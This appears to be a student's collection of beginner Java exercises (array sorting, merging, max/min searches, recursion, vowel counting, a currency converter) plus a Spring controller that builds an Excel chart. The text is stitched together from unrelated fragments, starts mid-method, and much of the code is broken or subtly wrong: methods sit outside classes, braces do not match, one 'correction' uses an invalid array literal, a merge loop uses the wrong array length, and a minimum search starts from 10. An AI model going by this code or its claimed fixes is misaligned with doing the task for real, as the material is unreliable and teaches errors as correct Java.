					array[j+1] = temp;
				}
			}
		}
	}
	public static void sort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] < array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
	public static void selectionArray(int[] myarray) {
		for(int i =0; i<myarray.length; i++) {
			//find minimum in the list
			int currentMin = myarray[i];
			int currentMinIndex = i;
			
			for(int j= i+1; j< myarray.length; j++) {
				if(currentMin > myarray[j]) {
					currentMin = myarray[j];
					currentMinIndex = j;
				}
			}
			//swap list[i] with list[currentMinIndex]
			if(currentMinIndex != i) {
				myarray[currentMinIndex] = myarray[i];
				myarray[i] = currentMin;
			}
		}
	}

}

public class Exercise {

	public static void main(String[] args) {
		int[] array = {2,333,-40,1,5,21,0,10,99,-26};
		
		System.out.println("my normal array is: " + Arrays.toString(array));
		
		bubbleSort(array);
		System.out.println();
		System.out.println("After Sorting From Small number to Large number. ");
		System.out.println(Arrays.toString(array));
		
		sort(array);
		System.out.println();
		System.out.println("After Sorting From Large number to Small number: ");
		System.out.println(Arrays.toString(array));
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
	public static void sort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] < array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}

}
//OUTPUT:
my normal array is: [2, 333, -40, 1, 5, 21, 0, 10, 99, -26]

After Sorting From Small number to Large number. 
[-40, -26, 0, 1, 2, 5, 10, 21, 99, 333]

After Sorting From Large number to Small number: 
[333, 99, 21, 10, 5, 2, 1, 0, -26, -40]

package com.example.codelearning.api;

import com.aspose.cells.*;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.core.io.ByteArrayResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;

@RestController
@RequestMapping("excel")
public class ExcelApi {

    @GetMapping("/download")
    public ResponseEntity<Resource> downloadExcel() throws Exception {

        Workbook workbook = new Workbook();
        Worksheet worksheet = workbook.getWorksheets().get(0);

        // Tạo dữ liệu và biểu đồ
        createChartData(worksheet);

        // Lưu workbook vào ByteArrayOutputStream
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        workbook.save(outputStream, SaveFormat.XLSX);

        InputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
        org.apache.poi.ss.usermodel.Workbook workbookApache = WorkbookFactory.create(inputStream);

        workbookApache.removeSheetAt(1);
        outputStream.reset();
        workbookApache.write(outputStream);

        // Chuẩn bị tệp Excel để tải xuống
        ByteArrayResource resource = new ByteArrayResource(outputStream.toByteArray());

        return ResponseEntity.ok()
                .contentType(MediaType.parseMediaType("application/vnd.ms-excel"))
                .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=chart_example.xlsx")
                .body(resource);
    }

    private void createChartData(Worksheet worksheet) {
        // Tạo dữ liệu mẫu
        Cells cells = worksheet.getCells();
        cells.get("A1").setValue("Month test test test");
        cells.get("A2").setValue("Oct");
        cells.get("A3").setValue("Nov");

        cells.get("B1").setValue("Toyota");
        cells.get("B2").setValue(32);
        cells.get("B3").setValue(42);

        cells.get("C1").setValue("VinFast");
        cells.get("C2").setValue(100);
        cells.get("C3").setValue(125);

        Range range = worksheet.getCells().createRange("A1:C3");
        Style style = worksheet.getWorkbook().createStyle();
        style.setBorder(BorderType.TOP_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.BOTTOM_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.LEFT_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.RIGHT_BORDER, CellBorderType.THIN, Color.getBlack());
        range.setStyle(style);

        // Đặt chiều rộng cho cột A
        Column columnA = worksheet.getCells().getColumns().get(0);
        columnA.setWidth(25);

        // Tạo biểu đồ
        int chartIndex = worksheet.getCharts().add(ChartType.LINE_WITH_DATA_MARKERS, 5, 0, 15, 5);
        Chart chart = worksheet.getCharts().get(chartIndex);

        chart.getNSeries().add("B2:B3", true);
        chart.getNSeries().get(0).setName("Toyota");
        chart.getNSeries().add("C2:C3", true);
        chart.getNSeries().get(1).setName("VinFast");

        chart.getNSeries().setCategoryData("A2:A3");
        PlotArea plotArea = chart.getPlotArea();
        plotArea.getArea().setFormatting(FormattingType.NONE);
        plotArea.getBorder().setTransparency(1.0);

        Title title = chart.getTitle();
        title.setText("Biểu đồ phân tích");
        Font font = title.getFont();
        font.setSize(16);
        font.setColor(Color.getLightGray());

        chart.getChartArea().setWidth(400);
        chart.getChartArea().setHeight(300);
    }
}

//a.
//Problem is (Index 5 out of bounds for length 5)
public static void main(String[] args) {
		
		int[] array = new int[5];
		array[5] = 10;
		System.out.println(array[5]); //Accessing index 5, which is out of bounds
	}

//corect is =    int[] array = new int[6];
                 array[5] = 10;
                   System.out.println(array[5]);    //output: 10



//b.
public class MissingInitialization {
    public static void main(String[] args) {
        int[] array;
        array[0] = 5; // Missing initialization of the array
    }
}
//correct is =  int[] array = {5,2,,3,4}; //initial this way first
or int[] array = new int[5];
array[0] = 5;
System.out.println(Arrays.toString(array[0]));   //output:  5


//C part.
public static void main(String[] args) {
		
		int[] array1 = {1,2,3};
        int[] array2 = {1,2,3};
        
        if(Arrays.equals(array1, array2)) {
        	System.out.println("Arrys are equal.");
        }
        else {
        	System.out.println("Arrays are not equal.");
        }
	}
}
//output: 
Arrys are equal.

public static void main(String[] args) {
		
        int[] myArray={1,2,33,56,34,85,32};
        
        int[]newArray=myArray;
        
        Arrays.sort(newArray); --------> //true becaue we have this method. sort array smallest one to largest one
        
        boolean status= false;
        for(int i=0;i<newArray.length-1;i++)
        {
            
            if (myArray[i]>myArray[i+1])
            {
                status=false;
                break;
            }
            else
            {
                status=true;
            }
        }
        System.out.println(status);
	}
}
//outPut: 
true

public static void main(String[] args) {

  //First Way
        int[] myArray={1,2,33,56,34,85,32};
        
        Arrays.sort(myArray);
        System.out.println(Arrays.toString(myArray));
	}
}

//Second Way

public class QuestionsOfLab_12 {

	//Lab 11 _ Question _3:
	public static void main(String[] args) {
		
		int[] array = {2,9,5,10,-1,0};
		
		bubbleSort(array);
		System.out.println("Array after sorting is : " + Arrays.toString(array));
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
}

Output:
Array after sorting is : [-1, 0, 2, 5, 9, 10]

public static void main(String[] args) {
		
        int[]myArray={1,2,33,56,34,85,32};
        int[]mystore=new int[7];
        
        int max=0;
        for(int i=0;i<myArray.length;i++)
        {
            if (myArray[i]>max)
            {
                
                max=myArray[i];
            }
        }
        
        System.out.println("maximum num = " + max);
        
        System.out.println(Arrays.toString(mystore));
        
        /*int secondLargest = 0;
        
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i] < max && myArray[i] > secondLargest) {
        		secondLargest = myArray[i];
        	}
        }
        System.out.println("The second Largest num in the array is = " + secondLargest); */
        
        
        int secondlargest=0;
        for(int i=0;i<myArray.length;i++)
        {
            
            mystore[i]=max-myArray[i]; // max - myArray[i] = 85-1= 84, 85-2= 83, 85-33= 52...
            
        }
        
        System.out.println(Arrays.toString(mystore));
        
        for(int i=0;i<myArray.length-1;i++)
        {
            if ((mystore[i]!=0) && (mystore[i]<=mystore[i+1]+1))
                secondlargest=i;
        }
        System.out.println("second largest num = " + myArray[secondlargest]);
    }
}
//outPut: 
maximum num = 85
[0, 0, 0, 0, 0, 0, 0]
[84, 83, 52, 29, 51, 0, 53]
second largest num = 56

int[]myArray={1,2,33,56,34,85,32};

 //find maximum number in the array

        int max=0;
        for(int i=0;i<myArray.length;i++)
        {
            if (myArray[i]>max)
            {
                
                max=myArray[i];
            }
        }
        
        System.out.println("maximum num in the array is = " + max);
//find second largest number in the array
        
        int secondLargest = 0;
        
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i] < max && myArray[i] > secondLargest) {
        		secondLargest = myArray[i];
        	}
        }
        System.out.println("The second Largest num in the array is = " + secondLargest);

//find third largest numbr in the array.
        int thirdLargest = 0;
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i]< secondLargest && myArray[i]> thirdLargest) {
        		thirdLargest = myArray[i];
        	}
        }

public static void main(String[] args) {
		
		int[]myArray={1,2,34};
        int max=0;
        for(int i=0;i<myArray.length;i++) // we don't need = and ()
        {
            if (myArray[i]>max)
            {
                max=myArray[i];
            }
            }
        System.out.println(max);
    }
}
//output: 
34

public static void main(String[] args) {
		int[] array1 = {10,20,30,40,50,60,70,80,90,100};
		int[] array2 = {200,300,400,500,-1,-2,-3};
		int[] array3 = {600,700,800,900,0};
		int[] array4 = {1000,2000,3000,4000,5000};
		
		int[] totalArray = merge(array1, array2, array3, array4);
		
		System.out.println(Arrays.toString(totalArray));
		
		
	}
	public static int[] merge(int[] array1, int[]array2, int[]array3, int[]array4) {
		int[] totalArray = new int[array1.length + array2.length + array3.length + array4.length];
		for(int i=0; i<array1.length; i++) {
			totalArray[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			totalArray[array1.length +i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			totalArray[array1.length + array2.length + i] = array3[i];
		}
		for(int i=0; i<array3.length; i++) {
			totalArray[array1.length + array2.length + array3.length + i] = array4[i];
		}
		return totalArray;
	}
//output: 
total array are = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 200, 300, 400, 500, -1, -2, -3, 600, 700, 800, 900, 0, 1000, 2000, 3000, 4000, 5000]

public static void main(String[] args) {
		int[] array1 = {1,2,3,4,5};
		int[] array2 = {6,7,8,9,10};
		int[] array3 = {100,200,300,400};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		System.out.println("array3 = " + Arrays.toString(array3));
		
		int [] array4 = merge(array1, array2, array3);
		
		System.out.println("After Merge of Three arrays are: ");
		
		System.out.println("array4 = " + Arrays.toString(array4));
		
	}
	public static int[] merge(int[] array1, int[] array2, int[] array3) {
		int[] array4 = new int[array1.length + array2.length + array3.length];
		for(int i=0; i<array1.length; i++) {
			array4[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array4[array1.length + i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			array4[array1.length + array2.length + i] = array3[i];
		}
		return array4;
	}
//output: 

public static void main(String[] args) {
		int[] array1 = {1,2,3,4,5};
		int[] array2 = {6,7,8,9,10};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		
		int [] array3 = merge(array1, array2);
		
		System.out.println("After Merge of two arrays are: ");
		
		System.out.println("array3 = " + Arrays.toString(array3));
		
	}
	public static int[] merge(int[] array1, int[] array2) {
		int[] array3 = new int[array1.length + array2.length];
		for(int i=0; i<array1.length; i++) {
			array3[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array3[array1.length + i] = array2[i];
		}
		return array3;
	}

//output:
array1 = [1, 2, 3, 4, 5]
array2 = [6, 7, 8, 9, 10]
After Merge of two arrays are: 
array3 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		int myPro = product(array);
		
		System.out.println("The Product numbers in the array are = " + myPro);
		
	}
	public static int product(int[]array) {
		int product = 1;
		for(int i=0; i<array.length; i++) {
			product = product * array[i];
		}
		return product;
	}
}
//output: 
The Product numbers in the array are = 120

	public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		int mySum = sum(array);
		
		System.out.println("Sum of number in the array are = " + mySum);
		
	}
	public static int sum(int[]array) {
		int sum = 0;
		for(int i=0; i<array.length; i++) {
			sum = sum + array[i];
		}
		return sum;
	}
//output: Sum of number in the array are = 15

public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		System.out.println("Array = " + Arrays.toString(array));
		
		
		swapAll(array, 3, 4);
		
		System.out.println("After swaping two number in the array are :");
		
		System.out.println("Array = " + Arrays.toString(array));
		
	}
	public static void swapAll(int[]array, int i, int j) {
		for(int count=0; count<array.length; count++) {
		int temp = array[i];
		array[i] = array[j];
		array[j] = temp;
		}
	}
}
//output: 
Array = [1, 2, 3, 4, 5]

After swaping two number in the array are :

Array = [1, 2, 3, 5, 4]

public static void main(String[] args) {
		int[] array1 = {1,2,3};
		int[] array2 = {4,5,6};
		
		System.out.println("Array1 = " + Arrays.toString(array1));
		System.out.println("Array2 = " + Arrays.toString(array2));
		
		swapAll(array1, array2);
		
		System.out.println("After swaping Array1 and Array2:");
		
		System.out.println("Array1 = " + Arrays.toString(array1));
		System.out.println("Array2 = " + Arrays.toString(array2));
		
	}
	public static void swapAll(int[]array1, int[]array2) {
		for(int i=0; i<array1.length; i++) {
		int temp = array1[i];
		array1[i] = array2[i];
		array2[i] = temp;
		}
	}
}
//output: Array1 = [1, 2, 3]
Array2 = [4, 5, 6]
After swaping Array1 and Array2:
Array1 = [4, 5, 6]
Array2 = [1, 2, 3]

public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6};
		
		reverse(array);
		
	}
	public static void reverse(int[] array) {
		//revere array.
		for(int i=0; i<array.length; i++) {
			int temp = array[i];
			array[i] = array[array.length-1-i];
			array[array.length-1-i] = temp;
			System.out.print(array[i]+ " ");
		}

	}

public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6,7,8,9,10};
		//revere array.
		for(int i=0; i<array.length; i++) {
			System.out.print(array[array.length-1-i]+ " ");
		}
	}
//output: 10 9 8 7 6 5 4 3 2 1

public static void main(String[] args) {
		
		int a = 100;
		int b = 20;
		System.out.println("a = " +a+ ", b = " + b);
		
		int temp = a;
		a = b;
		b = temp;
		System.out.println("a = " +a+ ", b = " + b);
		
	}
}
//output:
a = 100, b = 20
a = 20, b = 100

1.
public static void main(String[] args) {
		int[] numbers = {1,2,3,4,5,6,7,8,9,10};
		
		for(int i=0; i<numbers.length-1; i++) {
			System.out.print(numbers[i]+ " ");
		}
		System.out.println();
	}
//output:  1 2 3 4 5 6 7 8 9 

2.
public static void main(String[] args) {
		int[] numbers = {10,9,8,7,6,5,4,3,2,1};
		
		for(int i=0; i<numbers.length-1; i++) {
			if(numbers[i] > numbers[i+1]) {
				numbers[i+1] = numbers[i+1] * 2;
				
				System.out.print(numbers[i+1]+ " ");
			}
		}
		System.out.println();
	}
//output: 18 16 14 12 10 8 6 4 2 

import java.util.Scanner;

public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("How many times do you want to say (I LOVE YOU):");
		int number = scanner.nextInt();
		
		
		Love(number);
	
	}
	static void Love(int n){
//base case
		if(n>0) {
			System.out.println("I LOVE YOU " +n+ " times.");
			n--;
			Love(n);
		}
		else {
			System.out.println("have nice day my Love");
		}
	}
	
}
//output:
How many times do you want to say (I LOVE YOU):
10
I LOVE YOU 10 times.
I LOVE YOU 9 times.
I LOVE YOU 8 times.
I LOVE YOU 7 times.
I LOVE YOU 6 times.
I LOVE YOU 5 times.
I LOVE YOU 4 times.
I LOVE YOU 3 times.
I LOVE YOU 2 times.
I LOVE YOU 1 times.
have nice day my Love

import java.util.Scanner;

public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("How far do you want to walk (in meters):");
		int distance = scanner.nextInt();
		
		
		takeAStep(0, distance);
	
	}
	static void takeAStep(int i, int distance) {
//base case
		if(i<distance) {
			i++;
			System.out.println("*You take a step * " +i+ " meter/s.");
			takeAStep(i, distance);
		}
		else {
			System.out.println("You are done walking!");
		}
	}
	
}
//output:
How far do you want to walk (in meters):
10
*You take a step * 1 meter/s.
*You take a step * 2 meter/s.
*You take a step * 3 meter/s.
*You take a step * 4 meter/s.
*You take a step * 5 meter/s.
*You take a step * 6 meter/s.
*You take a step * 7 meter/s.
*You take a step * 8 meter/s.
*You take a step * 9 meter/s.
*You take a step * 10 meter/s.
You are done walking!

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 public static void count(String str)
	    {
	        // Initially initializing elements with zero
	        // as till now we have not traversed 
	        int vowels = 0, consonants = 0;
	       
	        // Declaring a all vowels String
	        // which contains all the vowels
	        String all_vowels = "aeiouAEIOU";
	       
	        for (int i = 0; i < str.length(); i++) {
	             
	            // Check for any special characters present
	            // in the given string
	            if ((str.charAt(i) >= 'A'
	                 && str.charAt(i) <= 'Z')
	                || (str.charAt(i) >= 'a'
	                    && str.charAt(i) <= 'z')) {
	                if (all_vowels.indexOf(str.charAt(i)) != -1)
	                    vowels++;
	                else if(str.charAt(i) >= 'A' || str.charAt(i)>= 'a' || str.charAt(i)<='z' || str.charAt(i)<='Z') 
	                    consonants++;
	            }
	        }
	       
	        // Print and display number of vowels and consonants
	        // on console
	        System.out.println("Number of Vowels = " + vowels
	                           + "\nNumber of Consonants = "
	                           + consonants);
	    }
	 
	    // Method 2
	    // Main driver method
	    public static void main(String[] args)
	    {
	        // Custom string as input
	        String str = "i am Mohamed Abdirizak";
	       
	        // Calling the method 1
	        count(str);
	    }

}
// OUTPUT:
Number of Vowels = 9
Number of Consonants = 10


//ANOTHER WAY
import java.util.Scanner;
public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		 //Counter variable to store the count of vowels and consonant    
        int vCount = 0, cCount = 0;    
            
        //Declare a string    
        String str = "My names is Mohamed Abdirizak Ali";    
            
        //Converting entire string to lower case to reduce the comparisons    
        str = str.toLowerCase();    
            
        for(int i = 0; i < str.length(); i++) {    
            //Checks whether a character is a vowel    
            if(str.charAt(i) == 'a' || str.charAt(i) == 'e' || str.charAt(i) == 'i' || str.charAt(i) == 'o' || str.charAt(i) == 'u') {    
                //Increments the vowel counter    
                vCount++;    
            }    
            //Checks whether a character is a consonant    
            else if(str.charAt(i) >= 'a' && str.charAt(i)<='z') {      
                //Increments the consonant counter    
                cCount++;    
            }    
        }    
        System.out.println("Number of vowels:" + vCount  );    
        System.out.println("Number of consonants: " + cCount);   
        
        scanner.close();
    }    
}   

//OUTPUT: 
Number of vowels:12
Number of consonants: 16

import java.util.Scanner;

public static void main(String[] args) {

		Scanner scanner = new Scanner(System.in);
		
		System.out.print("Enter String name: " );
		String name = scanner.nextLine();
		int k = name.length();
		int f = 1;
		String z = "";
		
		for(int i=0; i<k; i++) {
			char c = name.charAt(i);
			if(c == 'A' || c == 'a' || c == 'E' || c =='e' || c == 'I' || c == 'i' || c == 'O' || c == 'o' || c=='U' || c=='u')
				f=0;
			else
				z = z+c;
			}
		System.out.println("String Without Vowels is : " +z);
		}
	}

public class methods {

	public static void main(String[] args) {
		//Scanner scanner = new Scanner(System.in);
		double[] array = {2.3, 4.5, 6.7, 3.9};
		
		double product = product(array);
		System.out.println("The product of all double number in the array are = " + product);
		
		double sum = sum(array);
		System.out.println("The sum of all number in the array are = " + sum);
	}
	public static double product(double[] array) {
		double product = 1.0;
		for(int i=0; i<array.length; i++) {
			product = product * array[i];
		}
		return product;
	}
	public static double sum(double[] array) {
		double sum =0;
		for(int i=0; i<array.length; i++) {
			sum = sum + array[i];
		}
		return sum;
	}
}

public class methods {

	public static void main(String[] args) {
      
		int[] array = {2, 3, 4, -2, 10, 32};

		int getMax = max(array);
		System.out.println(getMax);
		
		printArray(array);
		
    }
// This is returd method while you call array into the main class

	public static int max(int[] array) {
		int max = array[0];
		for(int i =0; i< array.length; i++) {
			if(array[i]> max) {
				max = array[i];
			}
		}
		return max;
	}

  
	//this is method that print array while you call into main class
	public static void printArray(int [] array) {
		for(int i=0; i<array.length; i++) {
			System.out.print(array [i] + " ");
		}
	}
}
		

public static void main(String[] args) {
//Question 1.
		//int[] array = {1,-2,3,0,5,6,7,8,100,10};
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter the rate of exchange: ");
		double exchange_rate = scanner.nextDouble();
		
		System.out.println("Press 0: to conver Dollar to Turkish Lira  \nPress 1: to conver Turkish Lira to Dollar" );
		int choice = scanner.nextInt();
		
		if(choice == 0) {
			System.out.println("Enter amount in Dollar: ");
			double amount = scanner.nextDouble();
			amount = amount * exchange_rate;
			
			System.out.printf("Your amount from Dollar to Turkish Lira is %.3f: " , amount , " Lira");
		}
		else if(choice == 1)
			System.out.println("Enter amount in Turkish Lira: ");
		    double amount = scanner.nextDouble();
		    amount = amount / exchange_rate;
		    
		    System.out.printf("Your amount from Turkish Lira to Dollar is %.3f: " , amount , " Dollar");
		}
	}

Question 1
public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6};
		
		 //boolean result = isUnique(array);
		 System.out.print(isUnique(array));
		
	}
	
	public static boolean isUnique(int[] array) {
		int value;
		for(int i=0; i<array.length; i++) 
		{
			value = array[i];
			for(int j=i+1; j<array.length; j++) 
			{
				if(value == array[j]) 
				{
					return false;
					}
				}
		}
		return true;
	}
}
//OUTPUT:
true


public static void main(String[] args) {
		int[] array = {2,2,3,4,5,6};
		
		 //boolean result = isUnique(array);
		 System.out.print(isUnique(array));
		
	}
	
	public static boolean isUnique(int[] array) {
		int value;
		for(int i=0; i<array.length; i++) 
		{
			value = array[i];
			for(int j=i+1; j<array.length; j++) 
			{
				if(value == array[j]) 
				{
					return false;
					}
				}
		}
		return true;
	}
}
//OUTPUT:
false

public static void main(String[] args) {

		int[] array = {1,-2,3,0,5,6,7,8,100,10};
		
		int myMin = min(array);
		System.out.println("minimum number in the array is = " + myMin);
}
public static int min(int[] array) {
		int min = 10;
		for(int i=0; i<array.length; i++) {
			if(array[i] < min) {
				min = array[i];
			}
		}
  return min;
}

public static void main(String[] args) {
		int[] array = {1,-2,3,0,5,6,7,8,100,10};
  
		int myMax = max(array);
		System.out.println("maxmimum number in the array is = " + myMax );
}
public static int max(int[] array) {
		int max = 0;
		for(int i =0; i< array.length; i++) {
			if(array[i] > max) {
				max = array[i];
			}
		}
		return max;
	}

public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter, How many Days Temperature: ");
		int days = scanner.nextInt();
		
		int[] temps = new int[days];
		int sum = 0;
		
		for(int i =0; i<days; i++) {
			System.out.println("Day " + (i + 1) + "'s high temperature:");
			temps[i] = scanner.nextInt();
			sum = sum + temps[i];
		}
		
		double average = (double) sum / days;
		int count = 0;
		for(int i=0; i< days; i++) {
			if(temps[i] > average) {
				count ++;
			}
		}
		
		System.out.printf("Average temp =   %.1f\n ", average);
		System.out.println(count + " Days above average");
		
		scanner.close();
	}
}
		
	
// output:
Enter, How many Days Temperature: 
7
Day 1's high temperature:
21
Day 2's high temperature:
24
Day 3's high temperature:
34
Day 4's high temperature:
32
Day 5's high temperature:
28
Day 6's high temperature:
27
Day 7's high temperature:
29
Average temp =   27.9
 4 Days above average

public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}

//output :
0 3 4 5 6 7 8 9 


public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			numbers[i] = 2 * numbers[i];
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}
//output:
0 6 8 10 12 14 16 18 

public static void main(String[] args) {
		//int [] numbers = new int[8];
		int [] numbers = {0, 3, 4, 5, 6, 7, 8, 9};
		
		for(int i= 0; i< numbers.length; i++) {
			numbers[i] = 2 * i;
			System.out.print(numbers[i] + " ");
		}
		System.out.println();
	}
}
//output:
0 2 4 6 8 10 12 14 

public static void main(String[] args) {
		int a = 3;
		int b = 5;
		swap(a,b);
		System.out.println(a + " " + b);
		
	}
	public static void swap(int a, int b) {
		int temp = a; 
		a = b;
		b = temp;
		
	}

public static void main(String[] args) {

//Math Class
		double x ;
		double y;
		double z;
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter side x:");
		x = scanner.nextInt();
		
		System.out.println("Enter side y:");
		y = scanner.nextInt();
		
		z = Math.sqrt((x*x) + (y*y));
		System.out.println(z);
		
		scanner.close();
	}
}

String day = "Friday";
		
		switch( day) {
		case "Sunday": System.out.println("it's Sunday");
		break;
		case "Monday": System.out.println("it's Monady");
		break;
		case "Tuesday": System.out.println("it's Tuesday");
		break;
		case "Wensday": System.out.println("it's Wensday");
		break;
		case "Thursday": System.out.println("it's THursday");
		break;
		case "Friday": System.out.println("it's Friday");
		break;
		case "Sturday": System.out.println("it's Saturday");
		break;
		
		default : System.out.println("That'is Not A Day");
		}
	
	}

//Write a Java method that takes in an array of doubles and returns the product of all the doubles in the array.

public static void main(String[] args) {
		
		double[] Array1 = {2.9, 2.5, 5.6};
		double myProduct = products(Array1);
		System.out.printf("Product of array1 = %.2f " , myProduct);
		System.out.println();
}
public static double products(double[]arr) {
		double product = arr[0] * arr[1] * arr[2];
		for(int i=1;i<arr.length;i++) {
		}
		return product;
	}

//output 
Product of array1 = 40.60 

	public static void main(String[] args) {
      
//1. product array
		
		int[] Array1 = {2, 2, 5};
		int myProduct = products(Array1);
		System.out.println("Product of array1 = " + myProduct);

//2. Sum array
		int[] Array2  = {7, 5, 8, 9};
		int sum = sum(Array2);
		System.out.println("Sum of array2 are = " + sum);
		

//3. Max number in the array
		
		int[] array3 = {9, 100, 4};
		int max = getMax(array3);
		System.out.println("maximum number of array3 = " + max);
		
//4. Min number in the array
		
		int[] array4 = {10, 20, -2};
		int min = getMin(array4);
		System.out.println("minimum number of array4 = " + min);
	}
	
1.	
	public static int products(int[]arr) {
		int product = arr[0] * arr[1] * arr[2];
		for(int i=1;i<arr.length;i++) {
		}
		return product;
	}

2.	
	public static int sum(int[] arr) {
		int sum = arr[0] + arr[1] + arr[2] + arr[3];
		return sum;
	}

3.
	
	public static int getMax(int[] arr) {
		int max = arr[0];
		for(int i=0; i<arr.length;i++) {
			if(arr[i] > max) {
				max = arr[i];
			}
		}
		return max;
	}

4.
	
	public static int getMin(int[] arr) {
		int min = arr[0];
		for(int i=0; i<arr.length; i++) {
			if(arr[i]<min) {
				min = arr[i];
			}
		}
		return min;
	}
}

			
		
	

public static void main(String[] args) {
		int[] numbers = new int[8];
		numbers[1] = 3;
		numbers[4] = 99;
		numbers[6] = 2;
	
		int x = numbers[1];
		numbers[x] = 42;
		numbers[numbers[6]] = 11;
		
		for(int i=0; i<8; i++) {
			System.out.print(numbers[i] + " ");
		}
		System.out.println(); }
}
//output:
0 3 11 42 99 0 2 0 

name.length
for(int i=0; i<numbers.length; i++) {
			System.out.print(numbers[i] + " ");
		}
//output
0 3 11 42 99 0 2 0 

//sometimnes we assign each element a value in loop

		for(int i=0; i<8; i++) {
			numbers[i] = 2 * i;
			System.out.println(numbers[i]);
        }
//output.
0
2
4
6
8
10
12
14

public class methods {

	public static void main(String[] args) {
//we can initial array into two types:
		
//First This
		int[] array = {1, 2, 3, 4};
		System.out.println(array[0]);
		System.out.println(array[1]);
		System.out.println(array[2]);
		System.out.println(array[3]);

//Second This:
		System.out.println("--------");
		
		int[] array1 = new int[4];
		array1[0] = 10;
		array1[1] = 20;
		array1[2] = 30;
		array1[3] = 40;
		System.out.println(array1[0]);
		System.out.println(array1[1]);
		System.out.println(array1[2]);
		System.out.println(array1[3]);
		
		System.out.println("--------");
		
		
		String[] friends = {"ALi", "Mohamed", "Cade", "Yahya"};
		System.out.println(friends[0]);
		System.out.println(friends[1]);
		System.out.println(friends[2]);
		System.out.println(friends[3]);
		
		System.out.println("--------");
		
		
		String[] fruits = new String[5];
		fruits[0] = "Mango";
		fruits[1] = "Apple";
		fruits[2] = "Bannana";
		fruits[3] = "tomato";
		fruits[4] = "Limon";
		
		System.out.println(fruits[0]);
		System.out.println(fruits[1]);
		System.out.println(fruits[2]);
		System.out.println(fruits[3]);
		System.out.println(fruits[4]);
	
	}
}

public class methods {

	public static void main(String[] args) {
//question 1:
		HelloMessage();

//question 2:		
		double sum = sum(19.50, 100.60);
		System.out.println(sum);
		
//question 3:
		boolean number = number(9);
		System.out.println(number);
   //same
      boolean number = isEven(12);
		System.out.println(number);
		
//question 4:
		String full_name = name("Mohamed " , " Abdirizak");
		System.out.println(full_name);
      //same
      public static void main(String[] args) {
		String marged = concatt("Najma" , " Daud" , " Abdi");
		System.out.println(marged);
		
//question 5:
		double num = remainder(30 , 12);
		System.out.println(num);
		double numb = remainder(40, 12);
		System.out.println(numb);
      
//same Question 5:
        public static void main(String[] args) {
		remainder(28.5, 4.8);
	}
	

1.
	//we use method.
	public static void HelloMessage() {
		System.out.println("Hello world");
    }

2.	
	public static double sum(double a, double b) {
		double sum = a + b;
		return sum;
	}
3.	
	public static boolean number(int number) {
		if(number %2 ==0) {
			return true;
		}
		else {
			return false;
		}
	}
//same
      	public static boolean isEven(int x) {
		if(x%2 == 0)
			return true;
		else
			return false;
	}
4.	
      //we use Return Method.
	public static String name(String firstName, String secondName) {
		String full_name = firstName + secondName;
		return full_name.toUpperCase();
	}
 //same
        public static String concatt(String One , String Two, String Three) {
